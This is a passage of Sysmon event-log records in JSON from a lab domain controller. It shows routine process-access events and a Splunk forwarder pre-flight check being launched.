{90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1732,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1733,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1734,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1735,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1736,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1737,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1738,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.109\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010F6130300}\r\nTargetProcessId: 4060\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.109","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010F6130300}","TargetProcessId":"4060","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1739,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.112\r\nProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nProcessId: 4072\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt \r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010F6130300}\r\nParentProcessId: 4060\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt 2>&1","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.112","ProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk 